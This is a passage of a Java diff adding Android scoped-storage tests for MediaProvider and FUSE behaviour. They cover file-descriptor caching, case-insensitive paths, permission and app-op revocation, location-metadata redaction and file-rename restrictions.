+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ try (ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+ ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
+ assertRWR(readPfd, writePfd);
+ assertUpperFsFd(readPfd); // With cache
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenContentResolverFirstWriteFilePath() throws Exception {
+ String displayName = "open_content_resolver_write_file_path.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ try (ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
+ ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
+ assertRWR(readPfd, writePfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenContentResolverWriteOnly() throws Exception {
+ String displayName = "open_content_resolver_write_only.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ // We upgrade 'w' only to 'rw'
+ try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "w");
+ ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
+ assertRWR(readPfd, writePfd);
+ assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenContentResolverDup() throws Exception {
+ String displayName = "open_content_resolver_dup.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ file.delete();
+ assertThat(file.createNewFile()).isTrue();
+
+ // Even if we close the original fd, since we have a dup open
+ // the FUSE IO should still bypass the cache
+ try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+ ParcelFileDescriptor writePfdDup = writePfd.dup();
+ ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
+ writePfd.close();
+
+ assertRWR(readPfd, writePfdDup);
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfdDup);
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenContentResolverClose() throws Exception {
+ String displayName = "open_content_resolver_close.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ byte[] readBuffer = new byte[10];
+ byte[] writeBuffer = new byte[10];
+ Arrays.fill(writeBuffer, (byte) 1);
+
+ assertThat(file.createNewFile()).isTrue();
+
+ // Lower fs open and write
+ ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+ Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
+
+ // Close so upper fs open will not use direct_io
+ writePfd.close();
+
+ // Upper fs open and read without direct_io
+ try (ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
+ Os.pread(readPfd.getFileDescriptor(), readBuffer, 0, 10, 0);
+
+ // Last write on lower fs is visible via upper fs
+ assertThat(readBuffer).isEqualTo(writeBuffer);
+ assertThat(readPfd.getStatSize()).isEqualTo(writeBuffer.length);
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testContentResolverDelete() throws Exception {
+ String displayName = "content_resolver_delete.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ deleteWithMediaProvider(file);
+
+ assertThat(file.exists()).isFalse();
+ assertThat(file.createNewFile()).isTrue();
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testContentResolverUpdate() throws Exception {
+ String oldDisplayName = "content_resolver_update_old.jpg";
+ String newDisplayName = "content_resolver_update_new.jpg";
+ File oldFile = new File(getDcimDir(), oldDisplayName);
+ File newFile = new File(getDcimDir(), newDisplayName);
+
+ try {
+ assertThat(oldFile.createNewFile()).isTrue();
+ // Publish the pending oldFile before updating with MediaProvider. Not publishing the
+ // file will make MP consider pending from FUSE as explicit IS_PENDING
+ final Uri uri = MediaStore.scanFile(getContentResolver(), oldFile);
+ assertNotNull(uri);
+
+ updateDisplayNameWithMediaProvider(uri,
+ Environment.DIRECTORY_DCIM, oldDisplayName, newDisplayName);
+
+ assertThat(oldFile.exists()).isFalse();
+ assertThat(oldFile.createNewFile()).isTrue();
+ assertThat(newFile.exists()).isTrue();
+ assertThat(newFile.createNewFile()).isFalse();
+ } finally {
+ oldFile.delete();
+ newFile.delete();
+ }
+ }
+
+ void writeAndCheckMtime(final boolean append) throws Exception {
+ File file = new File(getDcimDir(), "update_modifies_mtime.jpg");
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+ assertThat(file.exists()).isTrue();
+
+ final long creationTime = file.lastModified();
+
+ // File should exist
+ assertNotEquals(creationTime, 0L);
+
+ // Sleep a bit more than 1 second because although
+ // File::lastModified() represents the duration in milliseconds,
+ // has 1 second precision.
+ // With lower sleep durations the test results flakey...
+ Thread.sleep(2000);
+
+ // Modification time should be the same as long the file has not
+ // been modified
+ assertEquals(creationTime, file.lastModified());
+
+ // Sleep a bit more than 1 second because although
+ // File::lastModified() represents the duration in milliseconds,
+ // has 1 second precision.
+ // With lower sleep durations the test results flakey...
+ Thread.sleep(2000);
+
+ // Assert we can write to the file
+ try (FileOutputStream fos = new FileOutputStream(file, append)) {
+ fos.write(BYTES_DATA1);
+ fos.close();
+ }
+
+ final long modificationTime = file.lastModified();
+
+ // As the file has been written, modification time should have
+ // changed
+ assertNotEquals(modificationTime, 0L);
+ assertNotEquals(modificationTime, creationTime);
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ // There is a minor bug which, alghough fixed in sc-dev (aosp/1834457),
+ // cannot be propagated to the already released sc-release branche
+ // (b/234145920), where mainline-modules are tested.
+ // Skip this test in S to avoid failures in outdated targets.
+ @SdkSuppress(minSdkVersion = 33, codeName = "T")
+ public void testAppendUpdatesMtime() throws Exception {
+ writeAndCheckMtime(true);
+ }
+
+ @Test
+ public void testWriteUpdatesMtime() throws Exception {
+ writeAndCheckMtime(false);
+ }
+
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testDefaultNoIsolatedStorageFlag() throws Exception {
+ assertThat(Environment.isExternalStorageLegacy()).isFalse();
+ }
+
+ @Test
+ public void testCreateLowerCaseDeleteUpperCase() throws Exception {
+ File upperCase = new File(getDownloadDir(), "CREATE_LOWER_DELETE_UPPER");
+ File lowerCase = new File(getDownloadDir(), "create_lower_delete_upper");
+
+ createDeleteCreate(lowerCase, upperCase);
+ }
+
+ @Test
+ public void testCreateUpperCaseDeleteLowerCase() throws Exception {
+ File upperCase = new File(getDownloadDir(), "CREATE_UPPER_DELETE_LOWER");
+ File lowerCase = new File(getDownloadDir(), "create_upper_delete_lower");
+
+ createDeleteCreate(upperCase, lowerCase);
+ }
+
+ @Test
+ public void testCreateMixedCaseDeleteDifferentMixedCase() throws Exception {
+ File mixedCase1 = new File(getDownloadDir(), "CrEaTe_MiXeD_dElEtE_mIxEd");
+ File mixedCase2 = new File(getDownloadDir(), "cReAtE_mIxEd_DeLeTe_MiXeD");
+
+ createDeleteCreate(mixedCase1, mixedCase2);
+ }
+
+ @Test
+ public void testAndroidDataObbDoesNotForgetMount() throws Exception {
+ File dataDir = getContext().getExternalFilesDir(null);
+ File upperCaseDataDir = new File(dataDir.getPath().replace("Android/data", "ANDROID/DATA"));
+
+ File obbDir = getContext().getObbDir();
+ File upperCaseObbDir = new File(obbDir.getPath().replace("Android/obb", "ANDROID/OBB"));
+
+
+ StructStat beforeDataStruct = Os.stat(dataDir.getPath());
+ StructStat beforeObbStruct = Os.stat(obbDir.getPath());
+
+ assertThat(dataDir.exists()).isTrue();
+ assertThat(upperCaseDataDir.exists()).isTrue();
+ assertThat(obbDir.exists()).isTrue();
+ assertThat(upperCaseObbDir.exists()).isTrue();
+
+ StructStat afterDataStruct = Os.stat(upperCaseDataDir.getPath());
+ StructStat afterObbStruct = Os.stat(upperCaseObbDir.getPath());
+
+ assertThat(beforeDataStruct.st_dev).isEqualTo(afterDataStruct.st_dev);
+ assertThat(beforeObbStruct.st_dev).isEqualTo(afterObbStruct.st_dev);
+ }
+
+ @Test
+ public void testCacheConsistencyForCaseInsensitivity() throws Exception {
+ File upperCaseFile = new File(getDownloadDir(), "CACHE_CONSISTENCY_FOR_CASE_INSENSITIVITY");
+ File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
+
+ try (ParcelFileDescriptor upperCasePfd =
+ ParcelFileDescriptor.open(upperCaseFile, MODE_READ_WRITE | MODE_CREATE);
+ ParcelFileDescriptor lowerCasePfd =
+ ParcelFileDescriptor.open(lowerCaseFile, MODE_READ_WRITE | MODE_CREATE)) {
+
+ assertRWR(upperCasePfd, lowerCasePfd);
+ assertRWR(lowerCasePfd, upperCasePfd);
+ } finally {
+ upperCaseFile.delete();
+ lowerCaseFile.delete();
+ }
+ }
+
+ @Test
+ public void testInsertDefaultPrimaryCaseInsensitiveCheck() throws Exception {
+ final File podcastsDir = getPodcastsDir();
+ final File podcastsDirLowerCase =
+ new File(getExternalStorageDir(), Environment.DIRECTORY_PODCASTS.toLowerCase());
+ final File fileInPodcastsDirLowerCase = new File(podcastsDirLowerCase, AUDIO_FILE_NAME);
+ try {
+ // Delete the directory if it already exists
+ if (podcastsDir.exists()) {
+ deleteRecursivelyAsLegacyApp(podcastsDir);
+ }
+ assertThat(podcastsDir.exists()).isFalse();
+ assertThat(podcastsDirLowerCase.exists()).isFalse();
+
+ // Create the directory with lower case
+ assertThat(podcastsDirLowerCase.mkdir()).isTrue();
+ // Because of case-insensitivity, even though directory is created
+ // with lower case, we should be able to see both directory names.
+ assertThat(podcastsDirLowerCase.exists()).isTrue();
+ assertThat(podcastsDir.exists()).isTrue();
+
+ // File creation with lower case path of podcasts directory should not fail
+ assertThat(fileInPodcastsDirLowerCase.createNewFile()).isTrue();
+ } finally {
+ fileInPodcastsDirLowerCase.delete();
+ deleteRecursivelyAsLegacyApp(podcastsDirLowerCase);
+ podcastsDir.mkdirs();
+ }
+ }
+
+ private void createDeleteCreate(File create, File delete) throws Exception {
+ try {
+ assertThat(create.createNewFile()).isTrue();
+ // Wait for the kernel to update the dentry cache.
+ Thread.sleep(100);
+
+ assertThat(delete.delete()).isTrue();
+ // Wait for the kernel to clean up the dentry cache.
+ Thread.sleep(100);
+
+ assertThat(create.createNewFile()).isTrue();
+ // Wait for the kernel to update the dentry cache.
+ Thread.sleep(100);
+ } finally {
+ create.delete();
+ delete.delete();
+ }
+ }
+
+ @Test
+ public void testReadStorageInvalidation() throws Exception {
+ if (SdkLevel.isAtLeastT()) {
+ testAppOpInvalidation(
+ APP_E,
+ new File(getDcimDir(), "read_storage.jpg"),
+ Manifest.permission.READ_MEDIA_IMAGES,
+ AppOpsManager.OPSTR_READ_MEDIA_IMAGES,
+ /* forWrite */ false);
+ } else {
+ testAppOpInvalidation(APP_E, new File(getDcimDir(), "read_storage.jpg"),
+ Manifest.permission.READ_EXTERNAL_STORAGE,
+ AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
+ }
+ }
+
+ @Test
+ public void testWriteStorageInvalidation() throws Exception {
+ testAppOpInvalidation(APP_E_LEGACY, new File(getDcimDir(), "write_storage.jpg"),
+ Manifest.permission.WRITE_EXTERNAL_STORAGE,
+ AppOpsManager.OPSTR_WRITE_EXTERNAL_STORAGE, /* forWrite */ true);
+ }
+
+ @Test
+ public void testManageStorageInvalidation() throws Exception {
+ testAppOpInvalidation(APP_E, new File(getDownloadDir(), "manage_storage.pdf"),
+ /* permission */ null, OPSTR_MANAGE_EXTERNAL_STORAGE, /* forWrite */ true);
+ }
+
+ @Test
+ public void testWriteImagesInvalidation() throws Exception {
+ testAppOpInvalidation(APP_E, new File(getDcimDir(), "write_images.jpg"),
+ /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, /* forWrite */ true);
+ }
+
+ @Test
+ public void testWriteVideoInvalidation() throws Exception {
+ testAppOpInvalidation(APP_E, new File(getDcimDir(), "write_video.mp4"),
+ /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, /* forWrite */ true);
+ }
+
+ @Test
+ public void testAccessMediaLocationInvalidation() throws Exception {
+ File imgFile = new File(getDcimDir(), "access_media_location.jpg");
+
+ try {
+ // Setup image with sensitive data on external storage
+ HashMap<String, String> originalExif =
+ getExifMetadataFromRawResource(R.raw.img_with_metadata);
+ try (InputStream in =
+ getContext().getResources().openRawResource(R.raw.img_with_metadata);
+ FileOutputStream out = new FileOutputStream(imgFile)) {
+ // Dump the image we have to external storage
+ FileUtils.copy(in, out);
+ // Sync file to disk to ensure file is fully written to the lower fs.
+ out.getFD().sync();
+ }
+ HashMap<String, String> exif = getExifMetadataFromFile(imgFile);
+ assertExifMetadataMatch(exif, originalExif);
+
+ // Install test app
+ installAppWithStoragePermissions(APP_GENERAL_ONLY);
+
+ // Grant A_M_L and verify access to sensitive data
+ grantPermission(APP_GENERAL_ONLY.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+ pollForPermission(APP_GENERAL_ONLY.getPackageName(),
+ Manifest.permission.ACCESS_MEDIA_LOCATION, /* granted */ true);
+ HashMap<String, String> exifFromTestApp =
+ readExifMetadataFromTestApp(APP_GENERAL_ONLY, imgFile.getPath());
+ assertExifMetadataMatch(exifFromTestApp, originalExif);
+
+ // Revoke A_M_L and verify sensitive data redaction
+ revokePermission(
+ APP_GENERAL_ONLY.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+ // revokePermission waits for permission status to be updated, but MediaProvider still
+ // needs to get permission change callback and clear its permission cache.
+ pollForPermission(APP_GENERAL_ONLY.getPackageName(),
+ Manifest.permission.ACCESS_MEDIA_LOCATION, /* granted */ false);
+ Thread.sleep(500);
+ exifFromTestApp = readExifMetadataFromTestApp(APP_GENERAL_ONLY, imgFile.getPath());
+ assertExifMetadataMismatch(exifFromTestApp, originalExif);
+
+ // Re-grant A_M_L and verify access to sensitive data
+ grantPermission(APP_GENERAL_ONLY.getPackageName(), Manifest.permission.ACCESS_MEDIA_LOCATION);
+ // grantPermission waits for permission status to be updated, but MediaProvider still
+ // needs to get permission change callback and clear its permission cache.
+ pollForPermission(APP_GENERAL_ONLY.getPackageName(),
+ Manifest.permission.ACCESS_MEDIA_LOCATION, /* granted */ true);
+ Thread.sleep(500);
+ exifFromTestApp = readExifMetadataFromTestApp(APP_GENERAL_ONLY, imgFile.getPath());
+ assertExifMetadataMatch(exifFromTestApp, originalExif);
+ } finally {
+ imgFile.delete();
+ uninstallAppNoThrow(APP_GENERAL_ONLY);
+ }
+ }
+
+ @Test
+ public void testAppUpdateInvalidation() throws Exception {
+ File file = new File(getDcimDir(), "app_update.jpg");
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ addressStoragePermissions(APP_E_LEGACY.getPackageName(), true);
+ grantPermission(APP_E_LEGACY.getPackageName(),
+ Manifest.permission.WRITE_EXTERNAL_STORAGE); // Grants write access for legacy
+
+ // Legacy app can read and write media files contributed by others
+ assertThat(canOpenFileAs(APP_E_LEGACY, file, /* forWrite */ false)).isTrue();
+ assertThat(canOpenFileAs(APP_E_LEGACY, file, /* forWrite */ true)).isTrue();
+
+ // Update to non-legacy
+ addressStoragePermissions(APP_E.getPackageName(), true);
+ grantPermission(APP_E_LEGACY.getPackageName(),
+ Manifest.permission.WRITE_EXTERNAL_STORAGE); // No effect for non-legacy
+
+ // Non-legacy app can read media files contributed by others
+ assertThat(canOpenFileAs(APP_E, file, /* forWrite */ false)).isTrue();
+ // But cannot write
+ assertThat(canOpenFileAs(APP_E, file, /* forWrite */ true)).isFalse();
+ } finally {
+ file.delete();
+ revokePermission(APP_E_LEGACY.getPackageName(),
+ Manifest.permission.WRITE_EXTERNAL_STORAGE);
+ }
+ }
+
+ @Test
+ public void testAppReinstallInvalidation() throws Exception {
+ File file = new File(getDcimDir(), "app_reinstall.jpg");
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ // Install
+ installAppWithStoragePermissions(APP_GENERAL_ONLY);
+ assertThat(canOpenFileAs(APP_GENERAL_ONLY, file, /* forWrite */ false)).isTrue();
+
+ // Re-install
+ uninstallAppNoThrow(APP_GENERAL_ONLY);
+ installApp(APP_GENERAL_ONLY);
+ assertThat(canOpenFileAs(APP_GENERAL_ONLY, file, /* forWrite */ false)).isFalse();
+ } finally {
+ file.delete();
+ uninstallAppNoThrow(APP_GENERAL_ONLY);
+ }
+ }
+
+ private void testAppOpInvalidation(TestApp app, File file, @Nullable String permission,
+ String opstr, boolean forWrite) throws Exception {
+ try {
+ addressStoragePermissions(app.getPackageName(), false);
+ assertThat(file.createNewFile()).isTrue();
+ assertAppOpInvalidation(app, file, permission, opstr, forWrite);
+ } finally {
+ file.delete();
+ }
+ }
+
+ /** If {@code permission} is null, appops are flipped, otherwise permissions are flipped */
+ private void assertAppOpInvalidation(TestApp app, File file, @Nullable String permission,
+ String opstr, boolean forWrite) throws Exception {
+ String packageName = app.getPackageName();
+ int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
+
+ // Deny
+ if (permission != null) {
+ revokePermission(packageName, permission);
+ } else {
+ denyAppOpsToUid(uid, opstr);
+ // TODO(191724755): Poll for AppOp state change instead
+ Thread.sleep(200);
+ }
+ assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
+
+ // Grant
+ if (permission != null) {
+ grantPermission(packageName, permission);
+ } else {
+ allowAppOpsToUid(uid, opstr);
+ // TODO(191724755): Poll for AppOp state change instead
+ Thread.sleep(200);
+ }
+ assertThat(canOpenFileAs(app, file, forWrite)).isTrue();
+ // Deny
+ if (permission != null) {
+ revokePermission(packageName, permission);
+ } else {
+ denyAppOpsToUid(uid, opstr);
+ // TODO(191724755): Poll for AppOp state change instead
+ Thread.sleep(200);
+ }
+ assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
+ }
+
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testDisableOpResetForSystemGallery() throws Exception {
+ final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
+ final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ // Have another app create an image file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppImageFile.getPath())).isTrue();
+ assertThat(otherAppImageFile.exists()).isTrue();
+
+ // Have another app create a video file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+ assertThat(otherAppVideoFile.exists()).isTrue();
+
+ assertCanWriteAndRead(otherAppImageFile, BYTES_DATA1);
+ assertCanWriteAndRead(otherAppVideoFile, BYTES_DATA1);
+
+ // Reset app op should not reset System Gallery privileges
+ executeShellCommand("appops reset " + THIS_PACKAGE_NAME);
+
+ // Assert we can still write to images/videos
+ assertCanWriteAndRead(otherAppImageFile, BYTES_DATA2);
+ assertCanWriteAndRead(otherAppVideoFile, BYTES_DATA2);
+
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImageFile.getAbsolutePath());
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppVideoFile.getAbsolutePath());
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryAppHasFullAccessToImages() throws Exception {
+ final File otherAppImageFile = new File(getDcimDir(), "other_" + IMAGE_FILE_NAME);
+ final File topLevelImageFile = new File(getExternalStorageDir(), IMAGE_FILE_NAME);
+ final File imageInAnObviouslyWrongPlace = new File(getMusicDir(), IMAGE_FILE_NAME);
+
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ // Have another app create an image file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppImageFile.getPath())).isTrue();
+ assertThat(otherAppImageFile.exists()).isTrue();
+
+ // Assert we can write to the file
+ try (FileOutputStream fos = new FileOutputStream(otherAppImageFile)) {
+ fos.write(BYTES_DATA1);
+ }
+
+ // Assert we can read from the file
+ assertFileContent(otherAppImageFile, BYTES_DATA1);
+
+ // Assert has access to redacted information
+ RedactionTestHelper.assertConsistentNonRedactedAccess(otherAppImageFile,
+ R.raw.img_with_metadata);
+
+ // Assert we can delete the file
+ assertThat(otherAppImageFile.delete()).isTrue();
+ assertThat(otherAppImageFile.exists()).isFalse();
+
+ // Can create an image anywhere
+ assertCanCreateFile(topLevelImageFile);
+ assertCanCreateFile(imageInAnObviouslyWrongPlace);
+
+ // Put the file back in its place and let APP B delete it
+ assertThat(otherAppImageFile.createNewFile()).isTrue();
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImageFile.getAbsolutePath());
+ otherAppImageFile.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryAppHasNoFullAccessToAudio() throws Exception {
+ final File otherAppAudioFile = new File(getMusicDir(), "other_" + AUDIO_FILE_NAME);
+ final File topLevelAudioFile = new File(getExternalStorageDir(), AUDIO_FILE_NAME);
+ final File audioInAnObviouslyWrongPlace = new File(getPicturesDir(), AUDIO_FILE_NAME);
+
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ // Have another app create an audio file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppAudioFile.getPath())).isTrue();
+ assertThat(otherAppAudioFile.exists()).isTrue();
+
+ // Assert we can't access the file
+ assertThat(canOpen(otherAppAudioFile, /* forWrite */ false)).isFalse();
+ assertThat(canOpen(otherAppAudioFile, /* forWrite */ true)).isFalse();
+
+ // Assert we can't delete the file
+ assertThat(otherAppAudioFile.delete()).isFalse();
+
+ // Can't create an audio file where it doesn't belong
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ topLevelAudioFile.createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ audioInAnObviouslyWrongPlace.createNewFile();
+ });
+ } finally {
+ deleteFileAs(APP_B_NO_PERMS, otherAppAudioFile.getPath());
+ topLevelAudioFile.delete();
+ audioInAnObviouslyWrongPlace.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryCanRenameImagesAndVideos() throws Exception {
+ final File otherAppVideoFile = new File(getDcimDir(), "other_" + VIDEO_FILE_NAME);
+ final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File videoFile = new File(getPicturesDir(), VIDEO_FILE_NAME);
+ final File topLevelVideoFile = new File(getExternalStorageDir(), VIDEO_FILE_NAME);
+ final File musicFile = new File(getMusicDir(), AUDIO_FILE_NAME);
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ // Have another app create a video file
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppVideoFile.getPath())).isTrue();
+ assertThat(otherAppVideoFile.exists()).isTrue();
+
+ // Write some data to the file
+ try (FileOutputStream fos = new FileOutputStream(otherAppVideoFile)) {
+ fos.write(BYTES_DATA1);
+ }
+ assertFileContent(otherAppVideoFile, BYTES_DATA1);
+
+ // Assert we can rename the file and ensure the file has the same content
+ assertCanRenameFile(otherAppVideoFile, videoFile);
+ assertFileContent(videoFile, BYTES_DATA1);
+ // We can even move it to the top level directory
+ assertCanRenameFile(videoFile, topLevelVideoFile);
+ assertFileContent(topLevelVideoFile, BYTES_DATA1);
+ // And we can even convert it into an image file, because why not?
+ assertCanRenameFile(topLevelVideoFile, imageFile);
+ assertFileContent(imageFile, BYTES_DATA1);
+
+ // We can convert it to a music file, but we won't have access to music file after
+ // renaming.
+ assertThat(imageFile.renameTo(musicFile)).isTrue();
+ assertThat(getFileRowIdFromDatabase(musicFile)).isEqualTo(-1);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppVideoFile.getAbsolutePath());
+ imageFile.delete();
+ videoFile.delete();
+ topLevelVideoFile.delete();
+ executeShellCommand("rm " + musicFile.getAbsolutePath());
+ MediaStore.scanFile(getContentResolver(), musicFile);
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ /**
+ * Test that basic file path restrictions are enforced on file rename.
+ */
+ @Test
+ public void testRenameFile() throws Exception {
+ final File downloadDir = getDownloadDir();
+ final File nonMediaDir = new File(downloadDir, TEST_DIRECTORY_NAME);
+ final File pdfFile1 = new File(downloadDir, NONMEDIA_FILE_NAME);
+ final File pdfFile2 = new File(nonMediaDir, NONMEDIA_FILE_NAME);
+ final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+ final File videoFile3 = new File(downloadDir, VIDEO_FILE_NAME);
+
+ try {
+ // Renaming non media file to media directory is not allowed.
+ assertThat(pdfFile1.createNewFile()).isTrue();
+ assertCantRenameFile(pdfFile1, new File(getDcimDir(), NONMEDIA_FILE_NAME));
+ assertCantRenameFile(pdfFile1, new File(getMusicDir(), NONMEDIA_FILE_NAME));
+ assertCantRenameFile(pdfFile1, new File(getMoviesDir(), NONMEDIA_FILE_NAME));
+
+ // Renaming non media files to non media directories is allowed.
+ if (!nonMediaDir.exists()) {
+ assertThat(nonMediaDir.mkdirs()).isTrue();
+ }
+ // App can rename pdfFile to non media directory.
+ assertCanRenameFile(pdfFile1, pdfFile2);
+
+ assertThat(videoFile1.createNewFile()).isTrue();
+ // App can rename video file to Movies directory
+ assertCanRenameFile(videoFile1, videoFile2);
+ // App can rename video file to Download directory
+ assertCanRenameFile(videoFile2, videoFile3);
+ } finally {
+ pdfFile1.delete();
+ pdfFile2.delete();
+ videoFile1.delete();
+ videoFile2.delete();
+ videoFile3.delete();
+ deleteRecursively(nonMediaDir);
+ }
+ }
+
+ /**
+ * Test that renaming file to different mime type is allowed.
+ */
+ @Test
+ public void testRenameFileType() throws Exception {
+ final File pdfFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ final File videoFile = new File(getDcimDir(), VIDEO_FILE_NAME);
+ try {
+ assertThat(pdfFile.createNewFile()).isTrue();
+ assertThat(videoFile.exists()).isFalse();
+ // Moving pdfFile to DCIM directory is not allowed.
+ assertCantRenameFile(pdfFile, new File(getDcimDir(), NONMEDIA_FILE_NAME));
+ // However, moving pdfFile to DCIM directory with changing the mime type to video is
+ // allowed.
+ assertCanRenameFile(pdfFile, videoFile);
+
+ // On rename, MediaProvider database entry for pdfFile should be updated with new
+ // videoFile path and mime type should be updated to video/mp4.
+ assertThat(getFileMimeTypeFromDatabase(videoFile)).isEqualTo("video/mp4");
+ } finally {
+ pdfFile.delete();
+ videoFile.delete();
+ }
+ }
+
+ /**
+ * Test that renaming files overwrites files in newPath.
+ */
+ @Test
+ public void testRenameAndReplaceFile() throws Exception {
+ final File videoFile1 = new File(getDcimDir(), VIDEO_FILE_NAME);
+ final File videoFile2 = new File(getMoviesDir(), VIDEO_FILE_NAME);
+ final ContentResolver cr = getContentResolver();
+ try {
+ assertThat(videoFile1.createNewFile()).isTrue();
+ assertThat(videoFile2.createNewFile()).isTrue();
+ final Uri uriVideoFile1 = MediaStore.scanFile(cr, videoFile1);
+ final Uri uriVideoFile2 = MediaStore.scanFile(cr, videoFile2);
+
+ // Renaming a file which replaces file in newPath videoFile2 is allowed.
+ assertCanRenameFile(videoFile1, videoFile2);
+
+ // Uri of videoFile2 should be accessible after rename.
+ try (ParcelFileDescriptor pfd = cr.openFileDescriptor(uriVideoFile2, "rw")) {
+ assertThat(pfd).isNotNull();
+ }
+
+ // Uri of videoFile1 should not be accessible after rename.
+ assertThrows(FileNotFoundException.class,
+ () -> {
+ cr.openFileDescriptor(uriVideoFile1, "rw");
+ });
+ } finally {
+ videoFile1.delete();
+ videoFile2.delete();
+ }
+ }
+
+ /**
+ * Test that ScanFile() after renaming file extension updates the right
+ * MIME type from the file metadata.
+ */
+ @Test
+ public void testScanUpdatesMimeTypeForRenameFileExtension() throws Exception {
+ final String audioFileName = "ScopedStorageDeviceTest_" + NONCE;
+ final File mpegFile = new File(getMusicDir(), audioFileName + ".mp3");
+ final File nonMpegFile = new File(getMusicDir(), audioFileName + ".snd");
+ try {
+ // Copy audio content to mpegFile
+ try (InputStream in =
+ getContext().getResources().openRawResource(R.raw.test_audio);
+ FileOutputStream out = new FileOutputStream(mpegFile)) {
+ FileUtils.copy(in, out);
+ out.getFD().sync();
+ }
+ assertThat(MediaStore.scanFile(getContentResolver(), mpegFile)).isNotNull();
+ assertThat(getFileMimeTypeFromDatabase(mpegFile)).isEqualTo("audio/mpeg");
+
+ // This rename changes MIME type from audio/mpeg to audio/basic
+ assertCanRenameFile(mpegFile, nonMpegFile);
+ assertThat(getFileMimeTypeFromDatabase(nonMpegFile)).isNotEqualTo("audio/mpeg");
+
+ assertThat(MediaStore.scanFile(getContentResolver(), nonMpegFile)).isNotNull();
+ // Above scan should read file metadata and update the MIME type to audio/mpeg
+ assertThat(getFileMimeTypeFromDatabase(nonMpegFile)).isEqualTo("audio/mpeg");
+ } finally {
+ mpegFile.delete();
+ nonMpegFile.delete();
+ }
+ }
+
+ /**
+ * Test that app without write permission for file can't update the file.
+ */
+ @Test
+ public void testRenameFileNotOwned() throws Exception {
